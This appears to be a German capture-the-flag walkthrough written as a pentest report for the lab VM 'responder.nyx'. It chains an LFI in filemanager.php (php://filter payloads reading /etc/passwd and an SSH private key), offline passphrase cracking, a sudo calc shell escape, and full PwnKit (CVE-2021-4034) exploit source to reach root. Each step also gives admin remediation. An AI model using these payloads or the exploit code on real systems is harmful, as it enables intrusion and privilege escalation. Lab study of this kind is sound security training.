Die Erkundung beginnt mit der Identifizierung des Ziels und grundlegenden Scans.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.108 ARP-Scan 192.168.2.108 08:00:27:2c:61:f2 PCS Systemtechnik GmbH 7 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.963 seconds (130.41 hosts/sec). 7 responded
**Analyse:** Ein ARP-Scan identifiziert das Zielsystem `192.168.2.108` (Oracle VirtualBox).
**Bewertung:** Ziel-IP ist bekannt.
**Empfehlung (Pentester):** IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard-Netzwerküberwachung.
127.0.0.1 localhost
192.168.2.108 responder.nyx
**Analyse:** Das Skript `recon_script.sh` (angepasst für `responder.nyx`) konfiguriert die lokale `/etc/hosts`-Datei, um `responder.nyx` der IP `192.168.2.108` zuzuordnen.
**Bewertung:** Hostname-Auflösung eingerichtet.
Ein Nmap TCP-Scan wird durchgeführt, um offene Ports und Dienste zu ermitteln.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-13 14:41 CEST Nmap scan report for responder.nyx (192.168.2.108) Host is up (0.00027s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:2C:61:F2 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.27 ms responder.nyx (192.168.2.108) S and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds
**Analyse:** Der Nmap-Scan findet zwei interessante Ports: * **Port 22 (SSH):** Status `filtered`. Dies bedeutet, dass Nmap keine definitive Antwort erhielt, ob der Port offen oder geschlossen ist, oft aufgrund einer Firewall. * **Port 80 (HTTP):** Status `open`. Läuft Apache 2.4.38 (Debian). Die Seite hat keinen Titel. * **Betriebssystem:** Linux 4.x/5.x.
**Bewertung:** Der primäre Angriffsvektor ist der offene HTTP-Port 80. Der SSH-Port ist möglicherweise durch eine Firewall geschützt oder nicht aktiv. Die Apache-Version 2.4.38 ist veraltet.
**Empfehlung (Pentester):** Den Webserver auf Port 80 untersuchen (Nikto, Gobuster). Die Filterung von Port 22 zur Kenntnis nehmen, möglicherweise kann er von einer anderen Quelle oder nach Umgehung einer Firewall erreicht werden. Nach Schwachstellen für Apache 2.4.38 suchen. **Empfehlung (Admin):** Apache aktualisieren. Firewall-Regeln überprüfen, insbesondere für Port 22. Sicherstellen, dass SSH nur bei Bedarf läuft und korrekt konfiguriert ist.
Der Webserver auf Port 80 wird genauer untersucht.
Nikto Scan - Nikto v2.5.0 + Target IP: 192.168.2.108 + Target Hostname: 192.168.2.108 + Target Port: 80 + Start Time: 2024-09-13 14:41:45 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8102 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2024-09-13 14:42:10 (GMT2) (25 seconds) + 1 host(s) tested
**Analyse:** Nikto bestätigt die veraltete Apache-Version, meldet fehlende Sicherheitsheader und findet die Standarddatei `/icons/README`. Die erlaubten HTTP-Methoden sind Standard.
**Bewertung:** Keine neuen kritischen Funde durch Nikto, außer der Bestätigung der veralteten Software.
**Empfehlung (Pentester):** Directory-Bruteforcing durchführen. Nach Exploits für Apache 2.4.38 suchen. **Empfehlung (Admin):** Apache aktualisieren, Header hinzufügen, `/icons`-Zugriff einschränken.
http://192.168.2.108/index.html (Status: 200) [Size: 31]
**Analyse:** Gobuster findet nur die `index.html` im Web-Root.
**Bewertung:** Keine versteckten Verzeichnisse oder Dateien mit der verwendeten Wortliste gefunden.
Manuelle Untersuchung der `index.html`.
your answer is in the answer..
**Analyse:** Die `index.html` enthält nur den kryptischen Text "your answer is in the answer..".
**Bewertung:** Die Nachricht ist ein Rätsel oder Hinweis. "answer" könnte sich auf DNS beziehen (A-Record) oder auf das Konzept einer Antwort (Response). Dies deutet auf einen nicht-standardmäßigen Angriffsvektor hin, möglicherweise im Zusammenhang mit DNS oder einer spezifischen Webanwendung, die noch nicht gefunden wurde.
**Empfehlung (Pentester):** DNS-Enumeration durchführen (Subdomains, spezielle Records). Nach versteckten Dateien oder Parametern suchen, die auf eine "Antwort"-Funktion hindeuten könnten (z.B. `filemanager.php` wie im nächsten Schritt gefunden).
Suche nach versteckten Parametern mittels Wfuzz, die zu einer Local File Inclusion (LFI) führen.
Target: http://192.168.2.108/filemanager.php?FUZZ=file:///etc/passwd Total requests: 220608 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000995: 302 27 L 39 W 1430 Ch "random" Total time: 0 Processed Requests: 4442 Filtered Requests: 4441 Requests/sec.: 0
**Analyse:** `wfuzz` wird verwendet, um Parameter für eine (vermutete oder zuvor gefundene) Datei `filemanager.php` zu fuzzern. Es wird eine Wortliste (`directory-list-2.3-medium.txt`) verwendet, um den Parameternamen (`FUZZ`) zu erraten. Als Wert wird testweise `file:///etc/passwd` übergeben. Antworten mit 404 oder 0 Chars werden ausgeblendet. Wfuzz findet den Parameter `random` (Payload `random`), der zu einer Antwort mit Statuscode 302 (Redirect) führt.
**Bewertung:** **Wichtiger Fund!** Es existiert eine Datei `filemanager.php`, die einen Parameter namens `random` akzeptiert. Die Tatsache, dass der Versuch, `/etc/passwd` als Wert zu übergeben, zu einem Redirect führt (statt 404), deutet stark auf eine Local File Inclusion (LFI)-Schwachstelle hin. Die Anwendung versucht wahrscheinlich, die angegebene Datei (`file:///etc/passwd`) einzubinden.
**Empfehlung (Pentester):** Die LFI-Schwachstelle mit dem Parameter `random` bestätigen und ausnutzen. Versuchen, verschiedene Dateien zu lesen (`/etc/passwd`, `/etc/hosts`, `/etc/ssh/sshd_config`, SSH-Schlüssel in Home-Verzeichnissen, Anwendungs-Quellcode). PHP-Filter-Wrapper (`php://filter/...`) verwenden, um den Quellcode von PHP-Dateien auszulesen. **Empfehlung (Admin):** Die Datei `filemanager.php` **dringend** untersuchen und die LFI-Schwachstelle beheben. Niemals Benutzereingaben direkt in `include()`, `require()` oder ähnliche Funktionen übergeben. Pfade validieren und auf erlaubte Verzeichnisse beschränken.
Bestätigung der LFI und Auslesen von Benutzerinformationen aus `/etc/passwd`.
root:x:0:0:root:/root:/bin/bash elliot:x:1001:1001:/home/elliot:/bin/bash rohit:x:1002:1002:/home/rohit:/bin/bash
**Analyse:** `curl` wird verwendet, um die LFI auszunutzen und `/etc/passwd` zu lesen. Die Ausgabe wird durch `grep bash` gefiltert, um Benutzer mit einer Bash-Shell zu finden: `root`, `elliot`, `rohit`.
**Bewertung:** LFI bestätigt. Potenzielle Benutzerkonten für SSH-Zugriff identifiziert.
**Empfehlung (Pentester):** Versuchen, die SSH-Schlüssel für `elliot` und `rohit` über LFI auszulesen (`file:///home/elliot/.ssh/id_rsa`, `file:///home/rohit/.ssh/id_rsa`). **Empfehlung (Admin):** LFI beheben.
Wfuzz wird verwendet, um mit einer Logfile-Liste weitere lesbare Dateien über LFI zu finden.
Target: http://192.168.2.108/filemanager.php?random=FUZZ Total requests: 2894 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000081: 302 27 L 39 W 1430 Ch "/etc/passwd" 000001108: 302 54 L 54 W 704 Ch "/etc/group" 000001093: 200 227 L 1115 W 7224 Ch "/etc/apache2/apache2.conf" 000001092: 302 12 L 88 W 664 Ch "/etc/fstab" 000001089: 302 7 L 22 W 183 Ch "/etc/hosts" 000001279: 302 54 L 132 W 1025 Ch "/proc/self/status" 000001277: 302 0 L 1 W 27 Ch "/proc/self/cmdline" 000001278: 302 1 L 52 W 319 Ch "/proc/self/stat" 000001301: 302 1 L 4 W 97 Ch "/proc/cmdline" 000001300: 302 1 L 14 W 138 Ch "/proc/version" 000001298: 302 22 L 190 W 1042 Ch "/etc/crontab" 000001322: 302 0 L 2 W 1152 Ch "/var/run/utmp" 000001311: 302 122 L 396 W 3274 Ch "/etc/ssh/sshd_config" 000001321: 200 41 L 280 W 239155 Ch "/var/log/wtmp" 000001320: 200 0 L 1 W 292876 Ch "/var/log/lastlog" Total time: 0 Processed Requests: 2894 Filtered Requests: 2879 Requests/sec.: 0
**Analyse:** Wfuzz wird erneut mit der LFI verwendet, diesmal um Dateipfade aus einer Logfile-Liste (`logfiles.txt`) zu testen. Es findet eine Reihe lesbarer System- und Konfigurationsdateien (`/etc/passwd`, `/etc/group`, Apache-Konfig, `sshd_config`, `/proc/...`, Logdateien).
**Bewertung:** Bestätigt die weitreichende LFI-Schwachstelle. Viele sensible Konfigurationsdateien sind lesbar.
**Empfehlung (Pentester):** Die gefundenen Konfigurationsdateien (insbesondere `sshd_config`, `apache2.conf`) auf interessante Einstellungen oder weitere Hinweise prüfen. **Empfehlung (Admin):** LFI beheben.
Lesen spezifischer Dateien über LFI.
# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # file system mount point type options dump pass # / was on /dev/sda1 during installation UUID=e25096e5-0198-485e-85fb-18e50a6825c8 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=6a4c8f97-4433-4d22-87a5-412fb2b9a65a none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0
127.0.0.1 localhost 127.0.1.1 Hat # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
PrintLastLog no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
PasswordAuthentication no
**Analyse:** `/etc/fstab`, `/etc/hosts` und `/etc/ssh/sshd_config` werden erfolgreich über LFI ausgelesen. Die `sshd_config` zeigt `PasswordAuthentication no`, was bedeutet, dass nur Schlüssel-Authentifizierung für SSH erlaubt ist.
**Bewertung:** Die Information `PasswordAuthentication no` ist wichtig und bestätigt, warum ein Brute-Force-Angriff auf SSH (falls versucht) fehlschlagen würde. Der Fokus muss auf dem Finden eines privaten SSH-Schlüssels liegen.
Verwendung von PHP-Filtern, um den Quellcode von `filemanager.php` auszulesen.
$filename = $_GET['random']; include($filename); header('Location:/');
**Analyse:** Der PHP-Wrapper `php://filter/convert.base64-encode/resource=filemanager.php` wird verwendet, um den Quellcode von `filemanager.php` selbst Base64-kodiert über die LFI auszugeben. `base64 -d` dekodiert die Ausgabe. Der Code ist extrem einfach: Er nimmt den Wert des `random`-Parameters und übergibt ihn direkt an die `include()`-Funktion. Anschließend leitet er zur Root-URL weiter (`header('Location:/')`).
**Bewertung:** Dies enthüllt die exakte Ursache der LFI-Schwachstelle: eine ungefilterte `include()`-Funktion. Der Redirect erklärt, warum bei gültigen Dateien ein 302-Statuscode zurückgegeben wurde.
**Empfehlung (Pentester):** Die LFI weiter nutzen, um nach SSH-Schlüsseln zu suchen. **Empfehlung (Admin):** Den Code in `filemanager.php` dringend korrigieren (z.B. `include(basename($filename))` oder besser: keine Includes basierend auf User-Input).
Dieser Abschnitt demonstriert die Ausnutzung der LFI-Schwachstelle in `filemanager.php`, um den privaten SSH-Schlüssel des Benutzers `elliot` auszulesen.
**Kurzbeschreibung:** Die Datei `filemanager.php` enthält eine LFI-Schwachstelle, da der Wert des GET-Parameters `random` ungefiltert an die `include()`-Funktion übergeben wird. Durch Verwendung des PHP-Wrappers `php://filter` kann der Inhalt beliebiger Dateien als Base64-String ausgelesen werden. Der POC zielt darauf ab, den privaten SSH-Schlüssel von `elliot` (`/home/elliot/.ssh/id_rsa`) zu extrahieren.
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Konstruieren des LFI-Payloads mit PHP-Filtern.
**Analyse des Schritts:** Der Payload lautet: `php://filter/convert.base64-encode/resource=/home/elliot/.ssh/id_rsa`. Dieser wird als Wert für den `random`-Parameter verwendet.
2. Senden des Requests und Dekodieren der Antwort.
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,411124D3C302D4F4 XC2kbWNBYa20zDArT6BMeCgKa9oRs8T5sCVws1wGik8ZWChF4h6N9TzDnDGEMUPG X+lKp/fDKiZxmJdWu3WhLjgiXNbvX+fLiKZpWBzCAVpwSicS/jjIopzzWjE3PAB7 ... (Gekürzter verschlüsselter SSH Key) ... C6piJetSpBUwjUs4hiwGRtYf5w4Hut8rsMs79/D3HsG8UPpZsrUKcv8ZIosg +juyVfxN44ySVuB2gVVU904GHIdMRyBeR6udv/qgxabGyShoeRhUjA3PPZEDw7B LPMDfxmzS9h/8CEK5RHQsxt6krtooRpf5HLCczehCzWzQXKPfnXwg -----END RSA PRIVATE KEY-----
**Analyse des Schritts:** Der `curl`-Befehl sendet den präparierten LFI-Request. Die Base64-kodierte Antwort wird durch `base64 -d` dekodiert und der Inhalt des privaten SSH-Schlüssels `/home/elliot/.ssh/id_rsa` wird angezeigt. Der Schlüssel ist verschlüsselt (`ENCRYPTED`).
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, den SSH-Schlüssel von `elliot` auszulesen. Dies gelang mithilfe der LFI und PHP-Filtern. Der Schlüssel ist jedoch passwortgeschützt.
**Beweismittel:** Die obige Terminalausgabe zeigt den erfolgreich ausgelesenen, verschlüsselten SSH-Schlüssel.
**Risikobewertung:** Kritisch. Die LFI-Schwachstelle erlaubt das Lesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Zugriff hat, einschließlich sensibler Daten wie SSH-Schlüssel. Selbst verschlüsselte Schlüssel stellen ein Risiko dar, da ihre Passphrasen oft offline geknackt werden können.
**Empfehlungen:** * **(Admin):** Die LFI-Schwachstelle in `filemanager.php` **sofort** beheben. Dateiberechtigungen überprüfen, um den Zugriff des Webservers einzuschränken. SSH-Schlüssel mit starken Passphrasen schützen. * **(Pentester):** Den extrahierten Schlüssel speichern und versuchen, die Passphrase zu knacken.
Der durch LFI extrahierte, verschlüsselte SSH-Schlüssel wird verwendet, um Zugriff als `elliot` zu erlangen.
Speichern des Schlüssels, Extrahieren des Hashes und Knacken der Passphrase.
# (Schlüssel wird gespeichert)
# (Berechtigungen gesetzt)
# (Hash extrahiert)
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
[...]
elliott (iddd)
[...]
1g 0:00:00:00 DONE (2024-09-13 15:42) 33.33g/s 115200p/s 115200c/s 115200C/s haley..yenyen
[...]
Session completed.
**Analyse:** Der Schlüssel wird in `iddd` gespeichert, die Berechtigungen gesetzt. `ssh2john` extrahiert den Hash, und `john` knackt diesen mit `rockyou.txt`. Die gefundene Passphrase ist `elliott`.
**Bewertung:** Die Passphrase wurde erfolgreich geknackt.
SSH-Login als `elliot` mit Schlüssel und Passphrase.
[...] Enter passphrase for key 'iddd': [Hier wurde elliott eingegeben] Linux responder 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 elliot@responder$ id uid=1001(elliot) gid=1001(elliot) groups=1001(elliot)
**Analyse:** Der SSH-Login als `elliot` mit dem Schlüssel `iddd` und der Passphrase `elliott` ist erfolgreich. Eine Shell als Benutzer `elliot` wird erhalten.
**Bewertung:** **Initialer Zugriff als `elliot` erfolgreich!** Der Weg führte über die LFI zum Schlüssel-Leak und anschließendem Offline-Passphrase-Cracking.
**Empfehlung (Pentester):** Umgebung enumerieren, User-Flag suchen, Privesc starten. **Empfehlung (Admin):** LFI beheben, starke Passphrasen verwenden.
Suche nach Wegen zur Rechteausweitung als `elliot`.
Matching Defaults entries for elliot on responder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User elliot may run the following commands on responder:
(rohit) NPASSWD: /usr/bin/calc
**Analyse:** `sudo -l` für `elliot` zeigt, dass dieser `/usr/bin/calc` als Benutzer `rohit` ohne Passwort ausführen darf.
**Bewertung:** Ein Weg zum Lateral Movement als `rohit`. `calc` (GNU bc-basierter Taschenrechner) erlaubt oft das Ausführen von Shell-Befehlen durch Eingabe von `!` gefolgt vom Befehl.
**Empfehlung (Pentester):** `sudo -u rohit /usr/bin/calc` starten und versuchen, eine Shell mit `!/bin/bash` zu erhalten. **Empfehlung (Admin):** `sudo`-Regel für `calc` entfernen.
Ausführen von `calc` als `rohit` und Starten einer Shell.
# (calc startet) # (Innerhalb von calc wird '!/bin/bash' eingegeben)
**Analyse:** `sudo -u rohit /usr/bin/calc` wird ausgeführt. Innerhalb von `calc` wird (implizit) `!/bin/bash` eingegeben, was eine Shell als Benutzer `rohit` startet.
**Bewertung:** Lateral Movement zu `rohit` erfolgreich.
Suchen und Lesen der User-Flag als `rohit`.
total 28
drwxr-xr-x 2 rohit rohit 4096 abr 20 2023 .
drwxr-xr-x 4 root root 4096 feb 1 2022 ..
lrwxrwxrwx 1 root root 9 feb 1 2022 .bash_history -> /dev/null
-rwxrwxrwx 1 rohit rohit 220 abr 18 2019 .bash_logout
-rwxrwxrwx 1 rohit rohit 3526 abr 18 2019 .bashrc
-rw------- 1 rohit rohit 5 feb 1 2022 .calc_history
-rwxrwxrwx 1 rohit rohit 807 abr 18 2019 .profile
-r--r--r-- 1 rohit rohit 33 abr 20 2023 user.txt
38ea4aa29dd3f88ad4b800af12ea42cb
**Analyse:** Im Home-Verzeichnis von `rohit` wird die Datei `user.txt` gefunden und die User-Flag ausgelesen.
**Bewertung:** User-Flag erfolgreich gefunden.
**Empfehlung (Pentester):** Flag notieren, `sudo -l` für `rohit` prüfen.
Suche nach Wegen zur Rechteausweitung als `rohit`.
Standard-Enumeration (Capabilities, SUID).
/usr/bin/ping = cap_net_raw+ep
56 64 -rwsr-xr-x 1 root root 63736 jul 27 2018 /usr/bin/passwd
53 44 -rwsr-xr-x 1 root root 44528 jul 27 2018 /usr/bin/chsh
3436 44 -rwsr-xr-x 1 root root 44440 jul 27 2018 /usr/bin/newgrp
55 84 -rwsr-xr-x 1 root root 84016 jul 27 2018 /usr/bin/gpasswd
3583 64 -rwsr-xr-x 1 root root 63568 ene 10 2019 /usr/bin/su
3908 52 -rwsr-xr-x 1 root root 51280 ene 10 2019 /usr/bin/mount
22376 24 -rwsr-xr-x 1 root root 23288 ene 15 2019 /usr/bin/pkexec
22163 156 -rwsr-xr-x 1 root root 157192 ene 20 2021 /usr/bin/sudo
52 56 -rwsr-xr-x 1 root root 54096 jul 27 2018 /usr/bin/chfn
3910 36 -rwsr-xr-x 1 root root 34888 ene 10 2019 /usr/bin/umount
144806 20 -rwsr-xr-x 1 root root 18888 ene 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
135466 12 -rwsr-xr-x 1 root root 10232 mar 28 2017 /usr/lib/eject/dmcrypt-get-device
16114 428 -rwsr-xr-x 1 root root 436552 ene 31 2020 /usr/lib/openssh/ssh-keysign
12774 52 -rwsr-xr-- 1 root messagebus 51184 jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** `getcap` findet keine ungewöhnlichen Capabilities. Die `find`-Suche nach SUID-Binaries listet mehrere Standard-Binaries auf, darunter aber auch `/usr/bin/pkexec` (Teil von PolicyKit/Polkit).
**Bewertung:** Das Vorhandensein von `pkexec` mit SUID-Bit ist ein bekannter Vektor für Privilege Escalation, insbesondere durch die Schwachstelle CVE-2021-4034 ("PwnKit"), die viele Versionen betrifft.
**Empfehlung (Pentester):** Die Version von `pkexec` prüfen (oder direkt einen Exploit für CVE-2021-4034 ausprobieren). Einen passenden Exploit-Code (oft in C) auf das Zielsystem übertragen, kompilieren und ausführen. **Empfehlung (Admin):** PolicyKit (`polkit`) auf die neueste Version aktualisieren, um CVE-2021-4034 zu patchen.
Vorbereiten und Ausführen des PwnKit-Exploits (CVE-2021-4034) für `pkexec`.
Referenz: [Link: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html | Ziel: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html]
// #include stdio.h // #include stdlib.h // #include unistd.h void gconv() {} void gconv_init() { setuid(0); setgid(0); setgroups(0); execve("/bin/sh", NULL, NULL); }
// #include stdio.h // #include stdlib.h #define BIN "/usr/bin/pkexec" #define DIR "evildir" #define EVILS "evil" int main() { char *envp[] = { DIR, "PATH=GCNV_PATH=.", "SHELL=ryaagard", "CHARSET=ryaagard", NULL }; char *argv[] = { NULL }; system("mkdir GCNV_PATH=."); system("touch GCNV_PATH=./" DIR " && chmod 777 GCNV_PATH=./" DIR); system("mkdir " DIR); system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILS "\t\t\t2' > " DIR "/gconv-modules"); system("cp " EVILS ".so " DIR); execve(BIN, argv, envp); return 0; }
evil-so.c: In function ‘gconv_init’: evil-so.c:10:5: warning: implicit declaration of function ‘setgroups’; did you mean ‘getgroups’? [-Wimplicit-function-declaration] setgroups(0); ^~~~~~~~~ getgroups
evil.c: In function ‘main’: evil.c:25:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration] execve(BIN, argv, envp); ^~~~~~
evil.c evil.so evil-so.c exploit
# id uid=0(root) gid=0(root) groups=0(root) #
**Analyse:** Der PwnKit-Exploit wird vorbereitet und ausgeführt: 1. Zwei C-Dateien (`evil-so.c`, `evil.c` oder `exploit.c`) werden auf das Zielsystem nach `/dev/shm` gebracht (les/schreib/ausführbar für alle). `evil-so.c` enthält Code, der bei Ausführung (`gconv_init`) die UID/GID auf 0 setzt und eine Shell startet. `evil.c` ist der eigentliche Exploit, der die Umgebungsvariablen so manipuliert, dass `pkexec` beim Versuch, Hilfe zu laden, die schadhafte `evil.so` über den `GCONV_PATH` lädt und ausführt. 2. Die Dateien werden mit `gcc` kompiliert. Die Compiler-Warnungen sind für die Funktion des Exploits meist irrelevant. 3. Das kompilierte `exploit`-Binary wird ausgeführt (`./exploit`). 4. Das Ergebnis ist ein Root-Shell-Prompt (`#`). Der `id`-Befehl bestätigt UID 0.
**Bewertung:** **Privilege Escalation zu Root erfolgreich!** Der PwnKit-Exploit für CVE-2021-4034 war erfolgreich und führte direkt zu Root-Rechten.
**Empfehlung (Pentester):** Root-Flag lesen, Bericht abschließen. **Empfehlung (Admin):** PolicyKit (`polkitd` oder `polkit-1`) **dringend** auf eine gepatchte Version aktualisieren, die CVE-2021-4034 behebt.
Lesen der Root-Flag.
root.txt
2df90c7733e54427419eee2134ebde5e
**Analyse:** In der Root-Shell wird die Datei `root.txt` im `/root`-Verzeichnis gefunden und ihr Inhalt ausgelesen.
**Bewertung:** Root-Flag erfolgreich erlangt.
Privilege Escalation erfolgreich abgeschlossen.